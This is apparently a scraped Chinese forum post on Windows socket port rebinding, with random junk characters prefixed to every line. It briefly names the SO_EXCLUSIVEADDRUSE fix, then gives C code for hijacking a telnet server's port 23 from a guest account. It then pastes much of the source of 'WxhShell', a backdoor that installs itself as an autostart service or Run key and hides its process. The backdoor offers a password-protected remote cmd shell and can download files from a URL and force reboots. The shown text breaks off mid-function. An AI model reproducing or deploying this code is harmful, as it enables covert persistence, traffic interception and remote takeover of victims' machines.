在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
cB<Zez s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
[-%oO [fb -G5x saddr.sin_family = AF_INET;
|[qI2-e l? aw,8'N) saddr.sin_addr.s_addr = htonl(INADDR_ANY);
B1GSZUd^?0 )~J/,\ bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
&K7g8x"x. ZF`ckWT:-N 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
{c$W-t):U| 9/'j<v6M 这意味着什么?意味着可以进行如下的攻击:
wU=(_S,c hP|5q&wX 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
/E*P0y~KTW E1>3 [3 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
WgY3g1C R &-bA3w$ 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
u-? &~WA ^{bP#f 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
:gR`rc! )Ev [o#y 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
h\yYg' CC X`22Hf4ct 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
Q8P;AN_JS C|>#|5XaF 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
HO wJ2L =]D##R #include
"BTA" #include
c~>M7e( #include
?1[go+56X #include
{}.c.W+ DWORD WINAPI ClientThread(LPVOID lpParam);
F<I-^BY) int main()
pE=wP/# {
*<9p88FpDU WORD wVersionRequested;
;z&p(e DWORD ret;
Q.5a"(d@ WSADATA wsaData;
al^ yCoB BOOL val;
SX;FBO(p SOCKADDR_IN saddr;
'vh:(- SOCKADDR_IN scaddr;
/ ]I] int err;
y<5s)OehG SOCKET s;
)EO$JwQ SOCKET sc;
j|
257D int caddsize;
D,J's(wd HANDLE mt;
'&UX'Dd~Q DWORD tid;
:FK(*BUh wVersionRequested = MAKEWORD( 2, 2 );
^^v\ T err = WSAStartup( wVersionRequested, &wsaData );
e#08,wgW if ( err != 0 ) {
H1q>UU: printf("error!WSAStartup failed!\n");
thkL< return -1;
or(Z-8a_ }
Q~`]0R159e saddr.sin_family = AF_INET;
BB~Qs Ha;^U/0| //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
4$.4,4+ 6W~F
nJI saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
FzW(An&x2 saddr.sin_port = htons(23);
aLP2p] if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ii;~ xc {
]T+{]t printf("error!socket failed!\n");
f^ nogw<z! return -1;
iS02uVmBZ }
Vj`9j. 5 val = TRUE;
+]B^*99 //SO_REUSEADDR选项就是可以实现端口重绑定的
YKj7~yK? if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
4,uH 4[7 {
\+
K
^G printf("error!setsockopt failed!\n");
g{dyDN$5|w return -1;
<~f/T]E, }
2<<,aL* //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
GT*\gZ //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
B<+}_3. //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
IUI>/87u 3dC8MKPq0 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
m,Os$>{Ok {
Z!tt(y\ ret=GetLastError();
rjfQ\W;}U printf("error!bind failed!\n");
x@Q}sW92 return -1;
qc@CV: }
sgFpZk listen(s,2);
E@t^IGDr while(1)
+\Rp N {
27gK
Y
Zf; caddsize = sizeof(scaddr);
M]eH
JZ~v //接受连接请求
*p +%&z_< sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
skr^m%W if(sc!=INVALID_SOCKET)
670g|&v. {
Pgb<;c:4 mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
z[V|W if(mt==NULL)
WCU[]A {
)j]S;Mr printf("Thread Creat Failed!\n");
`3*>tq break;
p%G4Js. }
8HxB\ !0F? }
Wi'BX#xCB CloseHandle(mt);
L_=J(H| }
VABrw t closesocket(s);
vFV->/u WSACleanup();
vx5;}[Bhm return 0;
Hvnak{5 }
kS[k*bN0 DWORD WINAPI ClientThread(LPVOID lpParam)
JU1U=Lu." {
6JSa:Q>, SOCKET ss = (SOCKET)lpParam;
plv"/K JM SOCKET sc;
8n,i5>!d unsigned char buf[4096];
_+T;4U'p SOCKADDR_IN saddr;
q;}^Jpb; long num;
-$.$6"] DWORD val;
<YUc?NF DWORD ret;
~i=/@;wRp //如果是隐藏端口应用的话,可以在此处加一些判断
psta&u\ q //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
J<H$B +;qR saddr.sin_family = AF_INET;
POtDge saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
+pnT6kU| saddr.sin_port = htons(23);
L` V6\Ix(I if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
wGBQ.Ve[ {
!-|& printf("error!socket failed!\n");
n,9 *!1y return -1;
BO#fzq% }
3BKW val = 100;
qF%wl if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
*J 7>6N:- {
<(>v|5K0] ret = GetLastError();
~g;(`g return -1;
\Nb6E&+ }
aEy_H-6f if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
6K[s),rdv {
UY+~,a ret = GetLastError();
YM1tP'4j@ return -1;
Yu9Ccj` }
H
\.EKZ if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
?:lOn(0& {
7 G~MqnO| printf("error!socket connect failed!\n");
Oa$ew' closesocket(sc);
)d>"K`3 closesocket(ss);
BaR9X ?~O$ return -1;
$_S^Aw? }
ceH7Rq:4W while(1)
kD >|e<}\ {
;k (}~_ //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
P+%O]v1 Ob //如果是嗅探内容的话,可以再此处进行内容分析和记录
1k-^LdDj //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
^NHQ[4I num = recv(ss,buf,4096,0);
RVXRF_I if(num>0)
o-("S|A- send(sc,buf,num,0);
A^3cP, L else if(num==0)
b3#c0GL break;
:1hp_XfJb num = recv(sc,buf,4096,0);
Mf%/t HK if(num>0)
yJ/m21f send(ss,buf,num,0);
ky#<\K1}' else if(num==0)
E4T?8TO$o% break;
VBIPB }
1Q#hanh_` closesocket(ss);
(J\D"4q closesocket(sc);
wrK$ZO] return 0 ;
U5dJ=G }
3P^eD:)
w rZKv:x}{6 uvc0"g1h ==========================================================
44kY[jhf ;s9!ra:3 下边附上一个代码,,WXhSHELL
k3sP,opacX tE(x8>5A: ==========================================================
` *$^rQS ^q%~K{'`- #include "stdafx.h"
qf4|!UR{ p KKn #include <stdio.h>
va~:oA #include <string.h>
xotq$r #include <windows.h>
WuSRA<{P #include <winsock2.h>
B?#@<2*=L #include <winsvc.h>
?# ,\, #include <urlmon.h>
14s+& j(va#f# #pragma comment (lib, "Ws2_32.lib")
ZS^EKz~ + #pragma comment (lib, "urlmon.lib")
q^"P_pV\ :3Ty%W&& #define MAX_USER 100 // 最大客户端连接数
goRoi\z $ #define BUF_SOCK 200 // sock buffer
6&.[:IHw #define KEY_BUFF 255 // 输入 buffer
ndF
Kw G1$DVGo #define REBOOT 0 // 重启
n)$ q*IN" #define SHUTDOWN 1 // 关机
gl2~6"dc dkG-Yz~ #define DEF_PORT 5000 // 监听端口
h %MPppCEa `S$BBF; #define REG_LEN 16 // 注册表键长度
sI9~TZ : #define SVC_LEN 80 // NT服务名长度
{^MR^4&}( CFRo>G // 从dll定义API
{{@3r5KGl typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
MttVgNV typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
B0Xn9Tvk typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
:rk]o* typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
7v%~^l7:x XK(<N<Z@|e // wxhshell配置信息
- bFz struct WSCFG {
KY2xKco int ws_port; // 监听端口
OEq8gpqY char ws_passstr[REG_LEN]; // 口令
E$smr\ int ws_autoins; // 安装标记, 1=yes 0=no
!C#q char ws_regname[REG_LEN]; // 注册表键名
2E=E!Zwt_ char ws_svcname[REG_LEN]; // 服务名
NpH)K:$#% char ws_svcdisp[SVC_LEN]; // 服务显示名
xJc'tT6@ char ws_svcdesc[SVC_LEN]; // 服务描述信息
<(s+ char ws_passmsg[SVC_LEN]; // 密码输入提示信息
(W*yF2r int ws_downexe; // 下载执行标记, 1=yes 0=no
NZdQz char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
V`@@ufU} char ws_filenam[SVC_LEN]; // 下载后保存的文件名
:R<,J=+$u Ww)qBsi8 };
@f{)]I +f [x-Z)Q.5 // default Wxhshell configuration
) ,*&rd! struct WSCFG wscfg={DEF_PORT,
%"+FN2nbm "xuhuanlingzhe",
d3^LalAp 1,
+w GE "Wxhshell",
OO53U=NU "Wxhshell",
=2->1<!x6< "WxhShell Service",
f-4<W0% "Wrsky Windows CmdShell Service",
.+{nfmc,c "Please Input Your Password: ",
qXP)R/~OZ 1,
R1J"QU "
http://www.wrsky.com/wxhshell.exe",
hk,Q=}; "Wxhshell.exe"
zh50]tX };
Eda
sGCo |'KNR]:
N // 消息定义模块
N?87Bd char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
UI;!_C_ char *msg_ws_prompt="\n\r? for help\n\r#>";
&V$'{ char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
=1+I<Ljk char *msg_ws_ext="\n\rExit.";
luC',QJB char *msg_ws_end="\n\rQuit.";
]$*N5Y char *msg_ws_boot="\n\rReboot...";
iZ_R
oJ char *msg_ws_poff="\n\rShutdown...";
%Yd}},X_E char *msg_ws_down="\n\rSave to ";
QMfYM~o \=5CNe char *msg_ws_err="\n\rErr!";
MX9q
)(: char *msg_ws_ok="\n\rOK!";
&+sO"j4<?r 2'pxA: char ExeFile[MAX_PATH];
)k7`!@ID int nUser = 0;
5~.\rcr% HANDLE handles[MAX_USER];
_=}Y
lR int OsIsNt;
=M(\ R8 +d'h20 SERVICE_STATUS serviceStatus;
'`3-X];p SERVICE_STATUS_HANDLE hServiceStatusHandle;
$B$=,^)3 1/#N{rZ // 函数声明
MGmtA( int Install(void);
/H3,v8J@ int Uninstall(void);
f-{[ushj int DownloadFile(char *sURL, SOCKET wsh);
?94da4p int Boot(int flag);
W
tzV|e, void HideProc(void);
=,0E3:X^ int GetOsVer(void);
N!Y'W)i16 int Wxhshell(SOCKET wsl);
_k
j51= void TalkWithClient(void *cs);
]j{S' cz int CmdShell(SOCKET sock);
{b#c0>.8- int StartFromService(void);
*dK A/.g int StartWxhshell(LPSTR lpCmdLine);
&`@Jy|N\ }"cb^3 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
a.]
! VOID WINAPI NTServiceHandler( DWORD fdwControl );
(bT\HW%m T`W FY // 数据结构和表定义
0kiW629o SERVICE_TABLE_ENTRY DispatchTable[] =
f}+G;a9Nj {
[C d2L&9 {wscfg.ws_svcname, NTServiceMain},
A: @=?(lI3 {NULL, NULL}
XHe= };
J'7){C"G$ PGw"\-F // 自我安装
H-rf?R2 int Install(void)
FS@SC`~( {
GN~:rdd char svExeFile[MAX_PATH];
,,G0}N@7s HKEY key;
-}N{'S,Bp strcpy(svExeFile,ExeFile);
h 1Q7(8=Eg zD?$O7
|ZK // 如果是win9x系统,修改注册表设为自启动
c}{e,t if(!OsIsNt) {
N.isvDk% if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
glv(`cQ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
]XP[tLYY RegCloseKey(key);
4XKg3l1 if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
p jrA:; RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
qi)(\ RegCloseKey(key);
Hu'c)|~f return 0;
aG"UV\ }
I|`K;a
}
i"-#1vy= }
@*c+`5)_ else {
O&O1O>[p1 |]I?^:I // 如果是NT以上系统,安装为系统服务
)v|a:'%K_ SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
a.Mp1W if (schSCManager!=0)
;nC+Kz: {
I&cb5j]C SC_HANDLE schService = CreateService
@E==~ b (
TIvLY5 HG schSCManager,
t>25IJG wscfg.ws_svcname,
Sqb#U{E wscfg.ws_svcdisp,
CId`6W SERVICE_ALL_ACCESS,
DL~LSh SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
fqr}tvMr=T SERVICE_AUTO_START,
xApa+j6I SERVICE_ERROR_NORMAL,
l'o}4am svExeFile,
$ &^
,(z9 NULL,
dyx4_!fO NULL,
oS`F Yy NULL,
dIf Jr}ih NULL,
-jyD!( NULL
$GPA6 );
(nc fR if (schService!=0)
AG9U2x {
bh_ALu^CSX CloseServiceHandle(schService);
Z os~1N]3 CloseServiceHandle(schSCManager);
RSnK`N\9jb strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
9u)h$VC strcat(svExeFile,wscfg.ws_svcname);
kB8l`|
I if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
|MRxm"]A
RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
?Rwn1.Z RegCloseKey(key);
fDRQ(} return 0;
6-JnT_ }
x x
'XR'zK }
\fKv+ CloseServiceHandle(schSCManager);
g=%W"v }
d6L(Q(:s }
>?DrC / zMG4oRPP return 1;
J
L Z }
o2.!
G 7'o?'He-.2 // 自我卸载
i@p?.%K{ int Uninstall(void)
oFsMQ Py {
*&U9npN HKEY key;
HN3
yA1<[V -kJF@w6u if(!OsIsNt) {
Wm\f:|U5` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
F>}).qx RegDeleteValue(key,wscfg.ws_regname);
<h;P<4JX RegCloseKey(key);
_&:o"""Wf if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
;m&f Vp RegDeleteValue(key,wscfg.ws_regname);
#._!.P RegCloseKey(key);
TJVNR_x return 0;
&zm5s*yNt }
q3I,3?_ }
``NjNd }
g3qtWS else {
16]O^R;r
t,H,*2 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
^@)+P/& if (schSCManager!=0)
w
S;(u[W {
)HU?7n.{ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
B8P%4@T if (schService!=0)
S ^n:O {
7IvCMb&%R if(DeleteService(schService)!=0) {
NeWssSje CloseServiceHandle(schService);
l"vT@g| CloseServiceHandle(schSCManager);
-OziUM1qs return 0;
ElYHA }
H)4Rs~;{'g CloseServiceHandle(schService);
~PV>3c3l= }
|6uEf/*DX CloseServiceHandle(schSCManager);
nbYaYL?& }
J6Kfz~% }
(*2"dd :q= XE$%H return 1;
P"~B2__* }
]f-e/8$`@ iffU}ce // 从指定url下载文件
rDSt
~l int DownloadFile(char *sURL, SOCKET wsh)
RJ-CWt
[LG {
1] kk HRESULT hr;
k20H|@g2 char seps[]= "/";
q`{.2yV char *token;
aNwDMd^+ char *file;
|l~ADEg char myURL[MAX_PATH];
7>4t{aRf_8 char myFILE[MAX_PATH];
!YoKKG~_0 :3G9YjzC} strcpy(myURL,sURL);
f8n'9HOw> token=strtok(myURL,seps);
C=Zuy^ while(token!=NULL)
_}\&; {
F )tNA?p) file=token;
.K0BK)axO token=strtok(NULL,seps);
@.gCeMlOf }
\2LCpN :_^YEm+A GetCurrentDirectory(MAX_PATH,myFILE);
jG/kT5S strcat(myFILE, "\\");
Wqqo8Y~fq strcat(myFILE, file);
?K]k(ZV_+Y send(wsh,myFILE,strlen(myFILE),0);
xNONf4I:6J send(wsh,"...",3,0);
Zdak))7 hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
d#W[<, if(hr==S_OK)
SrKF\h%/+ return 0;
QoW3*1o else
H1@"Yg8 return 1;
FJD*A`a m1cyCD }
ZWFH5#= 1|%$ie // 系统电源模块
qzG'Gz{{qu int Boot(int flag)
NfSe(rd {
NT nn!k HANDLE hToken;
ZqhINM*Rm TOKEN_PRIVILEGES tkp;
8=e\^Q+ +I')>6 if(OsIsNt) {
U_J|{*4S.! OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
OO@$jXZB LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
VOiphw` tkp.PrivilegeCount = 1;
dzcPSbbpt tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
~!uK;hI AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
fpqKa r if(flag==REBOOT) {
D/)xe: if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
_Ih~'Y Fd return 0;
FkS{Z s }
i7p3GBXh[ else {
$;">/"7m if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
~p8!Kb6 return 0;
O
8fh'6 }
|ST&,a$( }
=]"PSY7p else {
abF_i# if(flag==REBOOT) {
L2:C6Sc if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
%URyGS]* return 0;
<;Xj4
J }
rUuM__;d else {
0lEIj/u if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
1wq6E return 0;
-}>Q0d ) }
Z2ZS5a }
c2i^dNp_ QTDI^ZeuF return 1;
@Wv*` }
' E@D AvwX 2?tc // win9x进程隐藏模块
T|=8jt, void HideProc(void)
D4S>Pkv {
%++q+pa ;TR.UUT HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
4iw+3 Q| if ( hKernel != NULL )
+[>m`XTq {
2qEy"DKu pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
mbd@4u ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
4u;W1=+Vn FreeLibrary(hKernel);
-W oZwqh }
#\"5:.H Oz
mjw:Z, return;
?>w%Lg{L} }
>y az "{&!fD~w // 获取操作系统版本
~+1t17 int GetOsVer(void)
J4JKAv~3 {
Y`_6Ny=" OSVERSIONINFO winfo;
p3-sEIw}Ru winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
w</kGK[O GetVersionEx(&winfo);
@1kA%LLK if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
{>~|xW return 1;
x;C\G`9N else
ge E7<"m% return 0;
'91Ak,cWB }
!]"T`^5,Y cLXMq"?C // 客户端句柄模块
uYs+xX_ int Wxhshell(SOCKET wsl)
*f,EDSN1@d {
+DU}f;O8v SOCKET wsh;
Dl7#h,GTc< struct sockaddr_in client;
JU~l DWORD myID;
{%
;tN`{M {?t=*l\S{w while(nUser<MAX_USER)
V43|Ej}E {
u6D>^qF}@' int nSize=sizeof(client);
VbZZ=q=Kd wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
:*\JJ w if(wsh==INVALID_SOCKET) return 1;
]@<O!fS Bq\%]2;eo{ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
? 1_*ct=g9 if(handles[nUser]==0)
khyVuWN
closesocket(wsh);
y0z}[hZ else
jPFA\$To nUser++;
U/TF,JUI }
yJ?4B?p( WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
h>fY'r)DAx T]0qd^\4w return 0;
+.zriiF]i }
D VC}; uu'~[SZlL // 关闭 socket
n}YRE`>D void CloseIt(SOCKET wsh)
r% qgLP{v {
[]'BrG)! closesocket(wsh);
&L;0% nUser--;
WJl&Vyl2FL ExitThread(0);
8?ZK^+]y }
xC{ W_a( 0dXWy`Mn // 客户端请求句柄
teET nz_L void TalkWithClient(void *cs)
N 0`)WLW {
2'N%KKmJL B1\}'g8%f SOCKET wsh=(SOCKET)cs;
Yz[^?M%(D char pwd[SVC_LEN];
X62GEqff char cmd[KEY_BUFF];
g
}5lGz4 char chr[1];
T,5]EHea int i,j;
N5o jXX!l% 0<fN<iR` while (nUser < MAX_USER) {
meE&, { 3!#d& if(wscfg.ws_passstr) {
6=iz@C7r if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
f7\$rx //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
s:6H^DQ"C //ZeroMemory(pwd,KEY_BUFF);
)88z=5. i=0;
3g)pLW while(i<SVC_LEN) {
7mt;qn?n #5=Yg5 // 设置超时
V)C4 sG fd_set FdRead;
\&"gCv# struct timeval TimeOut;
U+URj <) FD_ZERO(&FdRead);
fgq#Oi} FD_SET(wsh,&FdRead);
L`tr7EEr TimeOut.tv_sec=8;
[>v.#:YM^ TimeOut.tv_usec=0;
<-FAF:6$@@ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
r. :LZEr if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
+%oXPG? ]~GwZB'M if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
)} tI8 pwd
=chr[0]; yd'>Mw
if(chr[0]==0xd || chr[0]==0xa) { 5hg:@i',
pwd=0; ;3 O0O
break; 1o
V\QK&
} 7"FsW3an
i++; Nxp7/Nn3
} xZwG@+U=X
o^}K]ML!t
// 如果是非法用户,关闭 socket :!n_a*.{
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); B!4chxzUZ
} ( hp 52Vse
UBLr|e>dQE
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); lmfvT}$B
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); GU([A@;
zT
9"B
while(1) { 7'LKyy
!"3
C%vR!Az
ZeroMemory(cmd,KEY_BUFF); f,9 /Yg_
Y({&}\o
// 自动支持客户端 telnet标准 s#hIzt
j=0; fp^{612O?
while(j<KEY_BUFF) {
&gR)Y3
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); eVGO6 2|!
cmd[j]=chr[0]; jb|al[p\
if(chr[0]==0xa || chr[0]==0xd) {
LhKaqR{
cmd[j]=0; Nawph
break; bbCH(fYbu
} NO+.n)etGb
j++; >k }ea5+
} H`d595<=i;
@y]ek/
// 下载文件 VKqIFM1b
if(strstr(cmd,"http://")) { r~nD%H:}P
send(wsh,msg_ws_down,strlen(msg_ws_down),0); `tw[{Wb
if(DownloadFile(cmd,wsh)) B:J([@\'
send(wsh,msg_ws_err,strlen(msg_ws_err),0); V"K-aO&
else XYj!nx{k,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7@oM?r7td
} >"5f B
else { W|'7)ph
@G,pM: t
switch(cmd[0]) { ^hiIMqY_{`
@cRR
// 帮助 lY
-2e>
case '?': { 3dheT}XV?p
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); UTwXN |'|
break; t/%{R.1MN
} ,a
2(h
// 安装 g\%;b3"#
case 'i': { PDQEI55
if(Install()) :8h\x
send(wsh,msg_ws_err,strlen(msg_ws_err),0); v]{F.N
else n/9.;9b$I
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 1*U)\vK~
break; JPO'1D)
} .Q!_.LX
// 卸载 EmG':K(
case 'r': { &tVIl$e
if(Uninstall())
X} {z7[
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -+ylJo[D
else !B|Aq-
n,
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); v'RpsCov
break; w2X0.2)P2
} /{Mo'.=Z
// 显示 wxhshell 所在路径 03pD<
case 'p': { 3']a1\sy^
char svExeFile[MAX_PATH]; <$z6:4uN_
strcpy(svExeFile,"\n\r"); W>#[a %R
strcat(svExeFile,ExeFile); #
RoJD:9
send(wsh,svExeFile,strlen(svExeFile),0); ^#( B4l!
break; ty ESDp%
} u:]c
// 重启 QQI,$HId
case 'b': { ;*u"hIl1/
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I-Q@v`
if(Boot(REBOOT)) H2kib4^i
send(wsh,msg_ws_err,strlen(msg_ws_err),0); z][hlDv\j
else { =M6Ph%
closesocket(wsh); \rj>T6
ExitThread(0); A>\5fO
} 4t
5i9+h
break; |VX )S!
} &u+l`F^Z
// 关机 VdL*"i
case 'd': { 6;:z?Q
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \1Xr4H
u
if(Boot(SHUTDOWN)) Yyx sj9
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Xfc+0$U@
else { Y-?0!a=e.
closesocket(wsh); |E?PQ?P
ExitThread(0); r=Tz++!
} #Mw 6>5}<
break; 22OfbwCb
} 9epMw-)k
// 获取shell 6b2Z}B
case 's': { y#T.w0*
CmdShell(wsh); r1axC%
closesocket(wsh); tgyW:<iv
ExitThread(0); fZ aTckbE
break; _lG|t6y
} gU&y5s~
// 退出 LwlO)|E
case 'x': { ]z#+3DaH
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dy>5LzqK3
CloseIt(wsh); K/iFB
break; :
E`78
} 38GkV.e}$
// 离开 m]+~F_/
case 'q': { K'Y/0:"*
send(wsh,msg_ws_end,strlen(msg_ws_end),0); l|81_B C"
closesocket(wsh); T09 5]*Hm
WSACleanup(); ^GpLl
exit(1); de/oK c
break; DaS~bweMw
} f\;w(_
} Z=9<esx
} skm~~JM^
38 ]}+Bb
// 提示信息 ;Rlf[](iL
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Z;O!KsJ
} t[r6 jo7
} Sa[?B
=X1oB,W{
return; 5e3p9K`5
} gvFJ~lL
S{m:Iij[;
// shell模块句柄 /3#h]5Y"T
int CmdShell(SOCKET sock) 0GlQWRa
{ sWmqx$
STARTUPINFO si; [uwn\-
ZeroMemory(&si,sizeof(si)); ?y-@c]
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &MZ{B/;;H
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bf=!\L$
PROCESS_INFORMATION ProcessInfo; 2 g\O/oz
char cmdline[]="cmd"; *knN?`(x
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); CNe(]HIOH
return 0; +zwS[P@
} :_,a%hb+8
9Af nMD
// 自身启动模式 97[wz C,
int StartFromService(void) 4.Q[Tu
{ ihJ!]#Fbm
typedef struct ch2m Ei(
{ +DG-MM%\
DWORD ExitStatus; `_f&T}]
DWORD PebBaseAddress; 8BrC@L2E0
DWORD AffinityMask; GEvx<:
DWORD BasePriority; 1s~rWnhVv
ULONG UniqueProcessId; u/<ZGW(&s(
